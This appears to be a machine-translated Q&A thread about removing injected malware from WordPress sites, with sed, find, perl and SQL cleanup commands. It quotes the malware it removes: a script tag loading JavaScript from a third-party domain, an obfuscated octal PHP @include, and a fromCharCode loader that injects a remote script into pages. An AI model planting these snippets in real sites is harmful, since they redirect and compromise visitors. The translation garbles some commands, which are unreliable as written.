サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressに基づいており、私のサーバーでホストされているサイトの大部分はWordPressに基づいています。ハッカーはこのコード行をすべてのファイルに追加し、データベース
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
私は使用してgrepを介してそれを検索しました
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
ファイル構造全体でsed
に置き換えようとしています。次のコマンドを記述しました。
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
最初に単一のファイルindex.php
の文字列を置き換えようとしています。
私のコードが間違っていることを知っています。これで私を助けてください。
@Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語の合計はこれです
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
そして、すべてのコンテンツを削除したいが、phpの開始タグ<?php
を保持したい。
@slyblotyの解決策は簡単で、うまくいきましたが。
影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
-スクリプト行を削除するにはfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-@include
行を削除するにはfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
-コメント行を削除するにはまた、ハッカーのスクリプトがすべてのディレクトリに不要なindex.htmlを作成したため、'*.html'
に対して3つのコマンドすべてを再度実行しました。これらのindex.htmlを一括で削除することが正しいアプローチかどうかはわかりませんでした。
今でも、ジャンクファイルとその痕跡を把握する必要があります。
ハッカースクリプトはJSコードも追加しました。
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
私もそれをsed
できるかどうかを確認しようとしています。
Sedでどの方法を使用する場合でも、find
およびxargs
を使用した完全なフィルタリングオプションを使用して、複数のファイルに対して複数のプロセスを同時に実行できます。例えば:
find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'
そうなる:
find
-検索-type f
-ファイルのみ-name '*.txt'
-phpで終わります-print0
-それらをゼロバイトで区切って印刷します| xargs -0
-ゼロバイトで区切られた各ファイル-P7
-7つのプロセスを同時に実行する-n1
-各1ファイルsed
-ファイルごとにsedを実行します-i
-ファイルを編集します'...'
-他の回答から実行するsedスクリプト。xargs
に-t
オプションを追加して、進行状況を確認することもできます。 man find (man args]( http://man7.org/linux/man-pages/man1/xargs.1.html )を参照してください。
一重引用符は、エスケープ文字なしでそのまま使用されます。 _var='hello\''
_に、閉じられていない引用があります。
この問題を解決するには、1)sed
コマンドを二重引用符で囲みます[〜#〜] or [〜#〜] 2)単一引用符で囲まれた文字列を終了し、_\'
_、そして引用文字列を再度開きます。
ただし、2番目の方法はより混乱します。
さらに、sed
は任意の区切り文字を使用してコマンドを区切ることができます。コマンドにスラッシュがあるため、コンマを使用する方が簡単です。たとえば、最初の方法を使用します。
_sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php
_
2番目の方法を使用する:
_sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php
_
この例は、実用的というより教育的です。 _'\''
_の仕組みは次のとおりです。
最初の_'
_:現在の引用されたリテラル文字列を終了します
_\'
_:リテラル文字として一重引用符を入力します
2番目の_'
_:引用符で囲まれたリテラル文字列を再入力します
そこにスペースがなければ、sed
コマンドを続けるだけです。このアイデアはbash
に固有のものです。
エスケープされた_<
_と_>
_はそのまま残しておきます。これを何に使用するのか完全にはわからないからです。 sed
は、_\<
_および_\>
_を使用して、単語の一致を意味します。それが意図的なものかどうかはわかりません。
これが何にも一致しない場合は、_<
_および_>
_のエスケープを回避する必要があります。
編集:実際の問題に対するより実用的な解決策については、コメントの@ EranBen-Natanの解決策を参照してください。私の答えは、OPが元のコマンドでより多くの入力を求められた理由に関するリソースです。
編集2のソリューション
これが機能するために、私はあなたのsed
に非標準のオプション_-z
_があると仮定しています。 GNU sed
のバージョンにはこれが必要です。このコードは常に6行の長さの形式で表示されることも前提としています。
_while read -r filename; do
# .bak optional here if you want to back any files that are edited
sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"
_
仕組み:すべてに一致させるために、fromCharCode行の先頭を使用しています。 _-z
_は、ファイルを改行ではなくnullで分割します。これにより、ラインフィードを直接検索できます。
_[^\n]*\n
_-これは、ラインフィードまですべてに一致し、次にラインフィードに一致します。改行(_-z
_)で分割しないため、正規表現var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
は可能な最大の一致と一致します。たとえば、_\n}\n
_がファイルのさらに下にある場合、そこと悪意のあるコードの間のすべてのコードを削除します。したがって、このシーケンスを6回繰り返すと、最初の行の終わりと次の5行に一致します。
_grep -lr
_-再帰的なgrep
で、一致するパターンを持つファイルのみをリストします。このように、sed
がすべてのファイルを編集するわけではありません。これがないと、_-i.bak
_(単純な_-i
_ではない)は混乱を招きます。
二重引用符("
)を文字列に使用し、一重引用符をエスケープしないでください('
)タグも(<>
)。スラッシュ(/
)。
sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
Wp-mail-smtpプラグインがインストールされていますか?同じマルウェアがあり、wp-content/plugins/wp-mail-smtp/src/Debug.php
には奇妙なことがありました。
また、JavaScriptリンクは、WordPressデータベースのpost_content
のすべてのwp_posts
フィールドにあります。
私は今日同じことを得ました、すべてのページ投稿はこの厄介なウイルススクリプトを追加しました
<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>
私はそれをデータベースから無効にしました
UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")
少なくとも感染したファイルはありません
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
何かは見つかりませんでしたが、これがどのようにしてデータベースに落ち着いたのかまったくわかりません。
この感染により、ページにリダイレクトが発生しました、chromeほとんどがこれを検出してブロックします。-/wp-mail-smtp/src/Debug.phpに異常は見られませんでした
今日も同じことがあり、すべてのページ投稿にスクリプトが追加されています。 https://en.wordpress.org/plugins/search-and-replace/ プラグインを使用して、それらをうまく処理しました。
さらに、文字列の後のwp_postsテーブルのpost_content列にも1つのレコードが見つかりました。
<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043</a>
手動で削除しました。
私にとってこれは働いた:
find ./ -type f -name '*.js' | xargs Perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"
検索する必要があります:* .js、*。json、*。map